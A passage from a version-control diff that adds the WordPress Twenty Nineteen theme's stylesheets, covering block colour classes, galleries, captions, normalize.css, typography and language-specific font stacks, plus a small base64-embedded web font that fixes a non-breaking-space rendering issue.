+.entry .entry-content .has-secondary-background-color h6,
+.entry .entry-content .has-secondary-background-color a,
+.entry .entry-content .has-dark-gray-background-color p,
+.entry .entry-content .has-dark-gray-background-color h1,
+.entry .entry-content .has-dark-gray-background-color h2,
+.entry .entry-content .has-dark-gray-background-color h3,
+.entry .entry-content .has-dark-gray-background-color h4,
+.entry .entry-content .has-dark-gray-background-color h5,
+.entry .entry-content .has-dark-gray-background-color h6,
+.entry .entry-content .has-dark-gray-background-color a,
+.entry .entry-content .has-light-gray-background-color p,
+.entry .entry-content .has-light-gray-background-color h1,
+.entry .entry-content .has-light-gray-background-color h2,
+.entry .entry-content .has-light-gray-background-color h3,
+.entry .entry-content .has-light-gray-background-color h4,
+.entry .entry-content .has-light-gray-background-color h5,
+.entry .entry-content .has-light-gray-background-color h6,
+.entry .entry-content .has-light-gray-background-color a {
+  color: #fff;
+}
+
+.entry .entry-content .has-white-background-color {
+  color: #111;
+}
+
+.entry .entry-content .has-white-background-color p,
+.entry .entry-content .has-white-background-color h1,
+.entry .entry-content .has-white-background-color h2,
+.entry .entry-content .has-white-background-color h3,
+.entry .entry-content .has-white-background-color h4,
+.entry .entry-content .has-white-background-color h5,
+.entry .entry-content .has-white-background-color h6,
+.entry .entry-content .has-white-background-color a {
+  color: #111;
+}
+
+.entry .entry-content .has-primary-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-primary-background-color {
+  background-color: #0073aa;
+}
+
+.entry .entry-content .has-secondary-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-secondary-background-color {
+  background-color: #005177;
+}
+
+.entry .entry-content .has-dark-gray-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-dark-gray-background-color {
+  background-color: #111;
+}
+
+.entry .entry-content .has-light-gray-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-light-gray-background-color {
+  background-color: #767676;
+}
+
+.entry .entry-content .has-white-background-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color.has-white-background-color {
+  background-color: #FFF;
+}
+
+.entry .entry-content .has-primary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-primary-color p {
+  color: #0073aa;
+}
+
+.entry .entry-content .has-secondary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-secondary-color p {
+  color: #005177;
+}
+
+.entry .entry-content .has-dark-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-dark-gray-color p {
+  color: #111;
+}
+
+.entry .entry-content .has-light-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-light-gray-color p {
+  color: #767676;
+}
+
+.entry .entry-content .has-white-color,
+.entry .entry-content .wp-block-pullquote.is-style-solid-color blockquote.has-white-color {
+  color: #FFF;
+}
+
+/* Media */
+.page-content .wp-smiley,
+.entry-content .wp-smiley,
+.comment-content .wp-smiley {
+  border: none;
+  margin-bottom: 0;
+  margin-top: 0;
+  padding: 0;
+}
+
+embed,
+iframe,
+object {
+  max-width: 100%;
+}
+
+.custom-logo-link {
+  display: inline-block;
+}
+
+.avatar {
+  border-radius: 100%;
+  display: block;
+  height: calc(2.25 * 1rem);
+  min-height: inherit;
+  width: calc(2.25 * 1rem);
+}
+
+svg {
+  transition: fill 120ms ease-in-out;
+  fill: currentColor;
+}
+
+/*--------------------------------------------------------------
+## Captions
+--------------------------------------------------------------*/
+.wp-caption {
+  margin-bottom: calc(1.5 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .wp-caption.aligncenter {
+    position: relative;
+    right: calc( calc(8 * (100vw / 12) - 28px) / 2);
+    transform: translateX(50%);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .wp-caption.aligncenter {
+    right: calc( calc(6 * (100vw / 12) - 28px) / 2);
+  }
+}
+
+.wp-caption img[class*="wp-image-"] {
+  display: block;
+  margin-right: auto;
+  margin-left: auto;
+}
+
+.wp-caption-text {
+  color: #767676;
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+  text-align: center;
+}
+
+/*--------------------------------------------------------------
+## Galleries
+--------------------------------------------------------------*/
+.gallery {
+  display: flex;
+  flex-flow: row wrap;
+  justify-content: center;
+  margin-bottom: calc(1.5 * 1rem);
+}
+
+.gallery-item {
+  display: inline-block;
+  margin-left: 16px;
+  margin-bottom: 16px;
+  text-align: center;
+  vertical-align: top;
+  width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+  max-width: calc((100% - 16px * 1) / 2);
+}
+
+.gallery-columns-2 .gallery-item:nth-of-type(2n+2) {
+  margin-left: 0;
+}
+
+.gallery-columns-3 .gallery-item {
+  max-width: calc((100% - 16px * 2) / 3);
+}
+
+.gallery-columns-3 .gallery-item:nth-of-type(3n+3) {
+  margin-left: 0;
+}
+
+.gallery-columns-4 .gallery-item {
+  max-width: calc((100% - 16px * 3) / 4);
+}
+
+.gallery-columns-4 .gallery-item:nth-of-type(4n+4) {
+  margin-left: 0;
+}
+
+.gallery-columns-5 .gallery-item {
+  max-width: calc((100% - 16px * 4) / 5);
+}
+
+.gallery-columns-5 .gallery-item:nth-of-type(5n+5) {
+  margin-left: 0;
+}
+
+.gallery-columns-6 .gallery-item {
+  max-width: calc((100% - 16px * 5) / 6);
+}
+
+.gallery-columns-6 .gallery-item:nth-of-type(6n+6) {
+  margin-left: 0;
+}
+
+.gallery-columns-7 .gallery-item {
+  max-width: calc((100% - 16px * 6) / 7);
+}
+
+.gallery-columns-7 .gallery-item:nth-of-type(7n+7) {
+  margin-left: 0;
+}
+
+.gallery-columns-8 .gallery-item {
+  max-width: calc((100% - 16px * 7) / 8);
+}
+
+.gallery-columns-8 .gallery-item:nth-of-type(8n+8) {
+  margin-left: 0;
+}
+
+.gallery-columns-9 .gallery-item {
+  max-width: calc((100% - 16px * 8) / 9);
+}
+
+.gallery-columns-9 .gallery-item:nth-of-type(9n+9) {
+  margin-left: 0;
+}
+
+.gallery-item:last-of-type {
+  padding-left: 0;
+}
+
+.gallery-caption {
+  display: block;
+  font-size: 0.71111em;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  line-height: 1.6;
+  margin: 0;
+  padding: 0.5rem;
+}
+
+.gallery-item > div > a {
+  display: block;
+  line-height: 0;
+  box-shadow: 0 0 0 0 transparent;
+}
+
+.gallery-item > div > a:focus {
+  box-shadow: 0 0 0 2px #0073aa;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentynineteen/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentynineteen/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentynineteen/style.css	(revision 56912)
@@ -0,0 +1,4647 @@
+@charset "UTF-8";
+/*
+Theme Name: Twenty Nineteen
+Theme URI: https://github.com/WordPress/twentynineteen
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom styles for all the default blocks, and is built so that what you see in the editor looks like what you'll see on your website. Twenty Nineteen is designed to be adaptable to a wide range of websites, whether you’re running a photo blog, launching a new business, or supporting a non-profit. Featuring ample whitespace and modern sans-serif headlines paired with classic serif body text, it's built to be beautiful on all screen sizes.
+Requires at least: WordPress 4.9.6
+Version: 1.2
+License: GNU General Public License v2 or later
+License URI: LICENSE
+Text Domain: twentynineteen
+Tags: one-column, flexible-header, accessibility-ready, custom-colors, custom-menu, custom-logo, editor-style, featured-images, footer-widgets, rtl-language-support, sticky-post, threaded-comments, translation-ready
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+
+Twenty Nineteen is based on Underscores https://underscores.me/, (C) 2012-2018 Automattic, Inc.
+Underscores is distributed under the terms of the GNU GPL v2 or later.
+
+Normalizing styles have been helped along thanks to the fine work of
+Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/
+*/
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+# Variables
+# Normalize
+# Typography
+	## Headings
+	## Copy
+# Elements
+	## Lists
+	## Tables
+# Forms
+	## Buttons
+	## Fields
+# Navigation
+	## Links
+	## Menus
+	## Next & Previous
+# Accessibility
+# Alignments
+# Clearings
+# Layout
+# Widgets
+# Content
+	## Archives
+	## Posts and pages
+	## Comments
+# Blocks
+# Media
+	## Captions
+	## Galleries
+--------------------------------------------------------------*/
+/*
+ * Chrome renders extra-wide &nbsp; characters for the Hoefler Text font.
+ * This results in a jumping cursor when typing in both the Classic and block
+ * editors. The following font-face override fixes the issue by manually inserting
+ * a custom font that includes just a Hoefler Text space replacement for that
+ * character instead.
+ */
+@font-face {
+  font-family: 'NonBreakingSpaceOverride';
+  src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAAAMoAA0AAAAACDQAAALTAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACCahEICjx3CywAATYCJANUBCAFhiEHgWwbXQfILgpsY+rQRRARwyAs6uL7pxzYhxEE+32b3aeHmifR6tklkS9hiZA0ewkqGRJE+H7/+6378ASViK/PGeavqJyOzsceKi1s3BCiQsiOdn1r/RBgIJYEgCUhbm/8/8/h4saPssnTNkkiWUBrTRtjmQSajw3Ui3pZ3LYDPD+XG2C3JA/yKAS8/rU5eNfuGqRf4eNNgV4YAlIIgxglEkWe6FYpq10+wi3g+/nUgvgPFczNrz/RsTgVm/zfbPuHZlsuQECxuyqBcQwKFBjFgKO8AqP4bAN9tFJtnM9xPcbNjeXS/x1wY/xU52f5W/X1+9cnH4YwKIaoRRAkUkj/YlAAeF/624foiIDBgBmgQBeGAyhBljUPZUm/l2dTvmpqcBDUOHdbPZWd8JsBAsGr4w8/EDn82/bUPx4eh0YNrQTBuHO2FjQEAGBwK0DeI37DpQVqdERS4gZBhpeUhWCfLFz7J99aEBgsJCHvUGAdAPp4IADDCAPCEFMGpMZ9AQpTfQtQGhLbGVBZFV8BaqNyP68oTZgHNj3M8kBPfXTTC9t90UuzYhy9ciH0grVlOcqyCytisvbsERsEYztiznR0WCrmTksJwbSNK6fd1Rvr25I9oLvctUoEbNOmXJbqgYgPXEHJ82IUsrCnpkxh23F1rfZ2zcRnJYoXtauB3VTFkFXQg3uoZYD5qE0kdjDtoDoF1h2bulGmev5HbYhbrjtohQSRI4aNOkffIcT+d3v6atpaYh3JvPoQsztCcqvaBkppDSPcQ3bw3KaCBo1f5CJWTZEgW3LjLofYg51MaVezrx8xZitYbQ9KYeoRaqQdVLwSEfrKXLK1otCWOKNdR/YwYAfon5Yk8O2MJfSD10dPGA5PIJJQMkah0ugMJiv6x4Dm7LEa8xnrRGGGLAg4sAlbsA07sAt76DOsXKO3hIjtIlpnnFrt1qW4kh6NhS83P/6HB/fl1SMAAA==) format("woff2"), url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAUQAA0AAAAACDQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAE9AAAABwAAAAchf5yU0dERUYAAATYAAAAHAAAAB4AJwAbT1MvMgAAAaAAAABJAAAAYJAcgU5jbWFwAAACIAAAAF4AAAFqUUxBZ2dhc3AAAATQAAAACAAAAAgAAAAQZ2x5ZgAAApAAAAAyAAAAPL0n8y9oZWFkAAABMAAAADAAAAA2Fi93Z2hoZWEAAAFgAAAAHQAAACQOSgWaaG10eAAAAewAAAAzAAAAVC7TAQBsb2NhAAACgAAAABAAAAAsAOQBAm1heHAAAAGAAAAAHQAAACAAWQALbmFtZQAAAsQAAAF6AAADIYvD/Adwb3N0AAAEQAAAAI4AAADsapk2o3jaY2BkYGAA4ov5mwzj+W2+MnCzXwCKMNzgCBSB0LfbQDQ7AxuI4mBgAlEAFKQIRHjaY2BkYGD3+NvCwMDBAALsDAyMDKhAFAA3+wH3AAAAeNpjYGRgYBBl4GBgYgABEMnIABJzAPMZAAVmAGUAAAB42mNgZlJhnMDAysDCKsKygYGBYRqEZtrDYMT4D8gHSmEHjgUFOQwODAqqf9g9/rYwMLB7MNUAhRlBcsxBrMlASoGBEQAj8QtyAAAAeNrjYGBkAAGmWQwMjO8gmBnIZ2NA0ExAzNjAAFYJVn0ASBsD6VAIDZb7AtELAgANIgb9AHjaY2BgYGaAYBkGRgYQSAHyGMF8FgYPIM3HwMHAxMDGoMCwQIFLQV8hXvXP//9AcRCfAcb///h/ygPW+w/vb7olBjUHCTCyMcAFGZmABBO6AogThgZgIUsXAEDcEzcAAHjaY2BgECMCyoEgACZaAed42mNgYmRgYGBnYGNgYAZSDJqMgorCgoqCjECRXwwNrCAKSP5mAAFGBiRgyAAAi/YFBQAAeNqtkc1OwkAUhU/5M25cEhcsZick0AwlBJq6MWwgJkAgYV/KAA2lJeUn+hY+gktXvpKv4dLTMqKycGHsTZNv7px7z50ZAFd4hYHjdw1Ls4EiHjVncIFnzVnc4F1zDkWjrzmPW+NNcwGlzIRKI3fJlUyrEjZQxb3mDH2fNGfRx4vmHKqG0JzHg6E0F9DOlFBGBxUI1GEzLNT4S0aLuTtsGAEUuYcQHkyg3KmIum1bNUvKlrjbbAIleqHHnS4iSudpQcySMYtdFiXlAxzSbAwfMxK6kZoHKhbjjespMTioOPZnzI+4ucCeTVyKMVKLfeAS6vSWaTinuZwzyy/Dc7vaed+6KaV0kukdPUk6yOcctZPvvxxqksq2lEW8RvHjMEO2FCl/zy6p3NEm0R9OFSafJdldc4QVeyaaObMBO0/5cCaa6d9Ggyubxire+lEojscdjoWUR1xGOy8KD8mG2ZLO2l2paDc3A39qmU2z2W5YNv5+u79e6QfGJY/hAAB42m3NywrCMBQE0DupWp/1AYI7/6DEaLQu66Mrd35BKUWKJSlFv1+rue4cGM7shgR981qSon+ZNwUJ8iDgoYU2OvDRRQ99DDDECAHGmGCKmf80hZSx/Kik/LliFbtmN6xmt+yOjdg9GztV4tROnRwX/Bsaaw51nt4Lc7tWaZYHp/MlzKx51LZs5htNri+2AAAAAQAB//8AD3jaY2BkYGDgAWIxIGZiYARCESBmAfMYAAR6AEMAAAABAAAAANXtRbgAAAAA2AhRFAAAAADYCNuG) format("woff");
+}
+
+/* If we add the border using a regular CSS border, it won't look good on non-retina devices,
+ * since its edges can look jagged due to lack of antialiasing. In this case, we are several
+ * layers of box-shadow to add the border visually, which will render the border smoother. */
+/* Fallback for non-latin fonts */
+/* Calculates maximum width for post content */
+/* Nested sub-menu padding: 10 levels deep */
+/* Normalize */
+/*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */
+/* Document
+	 ========================================================================== */
+/**
+ * 1. Correct the line height in all browsers.
+ * 2. Prevent adjustments of font size after orientation changes in iOS.
+ */
+html {
+  line-height: 1.15;
+  /* 1 */
+  -webkit-text-size-adjust: 100%;
+  /* 2 */
+}
+
+/* Sections
+	 ========================================================================== */
+/**
+ * Remove the margin in all browsers.
+ */
+body {
+  margin: 0;
+}
+
+/**
+ * Correct the font size and margin on `h1` elements within `section` and
+ * `article` contexts in Chrome, Firefox, and Safari.
+ */
+h1 {
+  font-size: 2em;
+  margin: 0.67em 0;
+}
+
+/* Grouping content
+	 ========================================================================== */
+/**
+ * 1. Add the correct box sizing in Firefox.
+ * 2. Show the overflow in Edge and IE.
+ */
+hr {
+  box-sizing: content-box;
+  /* 1 */
+  height: 0;
+  /* 1 */
+  overflow: visible;
+  /* 2 */
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+pre {
+  font-family: monospace, monospace;
+  /* 1 */
+  font-size: 1em;
+  /* 2 */
+}
+
+/* Text-level semantics
+	 ========================================================================== */
+/**
+ * Remove the gray background on active links in IE 10.
+ */
+a {
+  background-color: transparent;
+}
+
+/**
+ * 1. Remove the bottom border in Chrome 57-
+ * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
+ */
+abbr[title] {
+  border-bottom: none;
+  /* 1 */
+  text-decoration: underline;
+  /* 2 */
+  text-decoration: underline dotted;
+  /* 2 */
+}
+
+/**
+ * Add the correct font weight in Chrome, Edge, and Safari.
+ */
+b,
+strong {
+  font-weight: bolder;
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+code,
+kbd,
+samp {
+  font-family: monospace, monospace;
+  /* 1 */
+  font-size: 1em;
+  /* 2 */
+}
+
+/**
+ * Add the correct font size in all browsers.
+ */
+small {
+  font-size: 80%;
+}
+
+/**
+ * Prevent `sub` and `sup` elements from affecting the line height in
+ * all browsers.
+ */
+sub,
+sup {
+  font-size: 75%;
+  line-height: 0;
+  position: relative;
+  vertical-align: baseline;
+}
+
+sub {
+  bottom: -0.25em;
+}
+
+sup {
+  top: -0.5em;
+}
+
+/* Embedded content
+	 ========================================================================== */
+/**
+ * Remove the border on images inside links in IE 10.
+ */
+img {
+  border-style: none;
+}
+
+/* Forms
+	 ========================================================================== */
+/**
+ * 1. Change the font styles in all browsers.
+ * 2. Remove the margin in Firefox and Safari.
+ */
+button,
+input,
+optgroup,
+select,
+textarea {
+  font-family: inherit;
+  /* 1 */
+  font-size: 100%;
+  /* 1 */
+  line-height: 1.15;
+  /* 1 */
+  margin: 0;
+  /* 2 */
+}
+
+/**
+ * Show the overflow in IE.
+ * 1. Show the overflow in Edge.
+ */
+button,
+input {
+  /* 1 */
+  overflow: visible;
+}
+
+/**
+ * Remove the inheritance of text transform in Edge, Firefox, and IE.
+ * 1. Remove the inheritance of text transform in Firefox.
+ */
+button,
+select {
+  /* 1 */
+  text-transform: none;
+}
+
+/**
+ * Correct the inability to style clickable types in iOS and Safari.
+ */
+button,
+[type="button"],
+[type="reset"],
+[type="submit"] {
+  -webkit-appearance: button;
+}
+
+/**
+ * Remove the inner border and padding in Firefox.
+ */
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+  border-style: none;
+  padding: 0;
+}
+
+/**
+ * Restore the focus styles unset by the previous rule.
+ */
+button:-moz-focusring,
+[type="button"]:-moz-focusring,
+[type="reset"]:-moz-focusring,
+[type="submit"]:-moz-focusring {
+  outline: 1px dotted ButtonText;
+}
+
+/**
+ * Correct the padding in Firefox.
+ */
+fieldset {
+  padding: 0.35em 0.75em 0.625em;
+}
+
+/**
+ * 1. Correct the text wrapping in Edge and IE.
+ * 2. Correct the color inheritance from `fieldset` elements in IE.
+ * 3. Remove the padding so developers are not caught out when they zero out
+ *		`fieldset` elements in all browsers.
+ */
+legend {
+  box-sizing: border-box;
+  /* 1 */
+  color: inherit;
+  /* 2 */
+  display: table;
+  /* 1 */
+  max-width: 100%;
+  /* 1 */
+  padding: 0;
+  /* 3 */
+  white-space: normal;
+  /* 1 */
+}
+
+/**
+ * Add the correct vertical alignment in Chrome, Firefox, and Opera.
+ */
+progress {
+  vertical-align: baseline;
+}
+
+/**
+ * Remove the default vertical scrollbar in IE 10+.
+ */
+textarea {
+  overflow: auto;
+}
+
+/**
+ * 1. Add the correct box sizing in IE 10.
+ * 2. Remove the padding in IE 10.
+ */
+[type="checkbox"],
+[type="radio"] {
+  box-sizing: border-box;
+  /* 1 */
+  padding: 0;
+  /* 2 */
+}
+
+/**
+ * Correct the cursor style of increment and decrement buttons in Chrome.
+ */
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+  height: auto;
+}
+
+/**
+ * 1. Correct the odd appearance in Chrome and Safari.
+ * 2. Correct the outline style in Safari.
+ */
+[type="search"] {
+  -webkit-appearance: textfield;
+  /* 1 */
+  outline-offset: -2px;
+  /* 2 */
+}
+
+/**
+ * Remove the inner padding in Chrome and Safari on macOS.
+ */
+[type="search"]::-webkit-search-decoration {
+  -webkit-appearance: none;
+}
+
+/**
+ * 1. Correct the inability to style clickable types in iOS and Safari.
+ * 2. Change font properties to `inherit` in Safari.
+ */
+::-webkit-file-upload-button {
+  -webkit-appearance: button;
+  /* 1 */
+  font: inherit;
+  /* 2 */
+}
+
+/* Interactive
+	 ========================================================================== */
+/*
+ * Add the correct display in Edge, IE 10+, and Firefox.
+ */
+details {
+  display: block;
+}
+
+/*
+ * Add the correct display in all browsers.
+ */
+summary {
+  display: list-item;
+}
+
+/* Misc
+	 ========================================================================== */
+/**
+ * Add the correct display in IE 10+.
+ */
+template {
+  display: none;
+}
+
+/**
+ * Add the correct display in IE 10.
+ */
+[hidden] {
+  display: none;
+}
+
+/* Typography */
+html {
+  font-size: 22px;
+}
+
+body {
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+  color: #111;
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: 400;
+  font-size: 1em;
+  line-height: 1.8;
+  margin: 0;
+  text-rendering: optimizeLegibility;
+}
+
+button,
+input,
+select,
+optgroup,
+textarea {
+  color: #111;
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: 400;
+  line-height: 1.8;
+  text-rendering: optimizeLegibility;
+}
+
+.author-description .author-link,
+.comment-metadata,
+.comment-reply-link,
+.comments-title,
+.comment-author .fn,
+.discussion-meta-info,
+.entry-meta,
+.entry-footer,
+.main-navigation,
+.no-comments,
+.not-found .page-title,
+.error-404 .page-title,
+.post-navigation .post-title,
+.page-links,
+.page-description,
+.pagination .nav-links,
+.sticky-post,
+.site-title,
+.site-info,
+#cancel-comment-reply-link,
+img:after,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+.main-navigation,
+.page-description,
+.author-description .author-link,
+.not-found .page-title,
+.error-404 .page-title,
+.post-navigation .post-title,
+.pagination .nav-links,
+.comments-title,
+.comment-author .fn,
+.no-comments,
+.site-title,
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  font-weight: 700;
+  letter-spacing: -0.02em;
+  line-height: 1.2;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+.page-title {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+}
+
+.site-branding,
+.main-navigation ul.main-menu > li,
+.social-navigation,
+.author-description .author-bio,
+.nav-links {
+  line-height: 1.25;
+}
+
+h1 {
+  font-size: 2.25em;
+}
+
+@media only screen and (min-width: 768px) {
+  h1 {
+    font-size: 2.8125em;
+  }
+}
+
+.entry-title,
+.not-found .page-title,
+.error-404 .page-title,
+.has-larger-font-size,
+h2 {
+  font-size: 1.6875em;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry-title,
+  .not-found .page-title,
+  .error-404 .page-title,
+  .has-larger-font-size,
+  h2 {
+    font-size: 2.25em;
+  }
+}
+
+.has-regular-font-size,
+.has-large-font-size,
+.comments-title,
+h3 {
+  font-size: 1.6875em;
+}
+
+.site-title,
+.site-description,
+.main-navigation,
+.nav-links,
+.page-title,
+.page-description,
+.comment-author .fn,
+.no-comments,
+h2.author-title,
+p.author-bio,
+h4 {
+  font-size: 1.125em;
+}
+
+.pagination .nav-links,
+.comment-content,
+h5 {
+  font-size: 0.88889em;
+}
+
+.entry-meta,
+.entry-footer,
+.discussion-meta-info,
+.site-info,
+.has-small-font-size,
+.comment-reply-link,
+.comment-metadata,
+.comment-notes,
+.sticky-post,
+#cancel-comment-reply-link,
+img:after,
+h6 {
+  font-size: 0.71111em;
+}
+
+.site-title,
+.page-title {
+  font-weight: normal;
+}
+
+.page-description,
+.page-links a {
+  font-weight: bold;
+}
+
+.site-description {
+  letter-spacing: -0.01em;
+}
+
+.post-navigation .post-title,
+.entry-title,
+.not-found .page-title,
+.error-404 .page-title,
+.comments-title,
+blockquote {
+  hyphens: auto;
+  word-break: break-word;
+}
+
+/* Do not hyphenate entry title on tablet view and bigger. */
+@media only screen and (min-width: 768px) {
+  .entry-title {
+    hyphens: none;
+  }
+}
+
+p {
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+dfn,
+cite,
+em,
+i {
+  font-style: italic;
+}
+
+blockquote cite {
+  font-size: 0.71111em;
+  font-style: normal;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+pre {
+  font-size: 0.88889em;
+  font-family: "Courier 10 Pitch", Courier, monospace;
+  line-height: 1.8;
+  overflow: auto;
+}
+
+code,
+kbd,
+tt,
+var {
+  font-size: 0.88889em;
+  font-family: Menlo, monaco, Consolas, Lucida Console, monospace;
+}
+
+abbr, acronym {
+  border-bottom: 1px dotted #666;
+  cursor: help;
+}
+
+mark,
+ins {
+  background: #fff9c0;
+  text-decoration: none;
+}
+
+big {
+  font-size: 125%;
+}
+
+a {
+  text-decoration: none;
+}
+
+a:hover {
+  text-decoration: none;
+}
+
+a:focus {
+  text-decoration: underline;
+}
+
+/* Arabic */
+html[lang="ar"] .site *,
+html[lang="ary"] .site *,
+html[lang="azb"] .site *,
+html[lang="ckb"] .site *,
+html[lang="fa-IR"] .site *,
+html[lang="haz"] .site *,
+html[lang="ps"] .site * {
+  font-family: Tahoma, Arial, sans-serif !important;
+}
+
+/* Cyrillic */
+html[lang="be"] .site *,
+html[lang="bg-BG"] .site *,
+html[lang="kk"] .site *,
+html[lang="mk-MK"] .site *,
+html[lang="mn"] .site *,
+html[lang="ru-RU"] .site *,
+html[lang="sah"] .site *,
+html[lang="sr-RS"] .site *,
+html[lang="tt-RU"] .site *,
+html[lang="uk"] .site * {
+  font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, sans-serif !important;
+}
+
+/* Chinese (Hong Kong) */
+html[lang="zh-HK"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang HK', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Chinese (Taiwan) */
+html[lang="zh-TW"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang TC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Chinese (China) */
+html[lang="zh-CN"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, 'PingFang SC', 'Helvetica Neue', "Microsoft YaHei New", STHeiti Light, sans-serif !important;
+}
+
+/* Devanagari */
+html[lang="bn-BD"] .site *,
+html[lang="hi-IN"] .site *,
+html[lang="mr"] .site *,
+html[lang="ne-NP"] .site * {
+  font-family: Arial, sans-serif !important;
+}
+
+/* Greek */
+html[lang="el"] .site * {
+  font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
+}
+
+/* Gujarati */
+html[lang="gu"] .site * {
+  font-family: Arial, sans-serif !important;
+}
+
+/* Hebrew */
+html[lang="he-IL"] .site * {
+  font-family: 'Arial Hebrew', Arial, sans-serif !important;
+}
+
+/* Japanese */
+html[lang="ja"] .site * {
+  font-family: -apple-system, BlinkMacSystemFont, "Hiragino Sans", Meiryo, "Helvetica Neue", sans-serif !important;
+}
+
+/* Korean */
+html[lang="ko-KR"] .site * {
+  font-family: 'Apple SD Gothic Neo', 'Malgun Gothic', 'Nanum Gothic', Dotum, sans-serif !important;
+}
+
+/* Thai */
+html[lang="th"] .site * {
+  font-family: 'Sukhumvit Set', 'Helvetica Neue', helvetica, arial, sans-serif !important;
+}
+
+/* Vietnamese */
+html[lang="vi"] .site * {
+  font-family: 'Libre Franklin', sans-serif !important;
+}
+
+/* Elements */
+html {
+  box-sizing: border-box;
+}
+
+::-moz-selection {
+  background-color: #bfdcea;
+}
+
+::selection {
+  background-color: #bfdcea;
+}
+
+*,
+*:before,
+*:after {
+  box-sizing: inherit;
+}
+
+body {
+  background-color: #fff;
+}
+
+a {
+  transition: color 110ms ease-in-out;
+  color: #0073aa;
+}
+
+a:hover,
+a:active {
+  color: #005177;
+  outline: 0;
+  text-decoration: none;
+}
+
+a:focus {
+  outline: thin;
+  outline-style: dotted;
+  text-decoration: underline;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+  clear: both;
+  margin: 1rem 0;
+}
+
+h1:not(.site-title):before,
+h2:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+hr {
+  background-color: #767676;
+  border: 0;
+  height: 2px;
+}
+
+ul,
+ol {
+  padding-left: 1rem;
+}
+
+ul {
+  list-style: disc;
+}
+
+ul ul {
+  list-style-type: circle;
+}
+
+ol {
+  list-style: decimal;
+}
+
+li {
+  line-height: 1.8;
+}
+
+li > ul,
+li > ol {
+  padding-left: 2rem;
+}
+
+dt {
+  font-weight: bold;
+}
+
+dd {
+  margin: 0 1rem 1rem;
+}
+
+img {
+  height: auto;
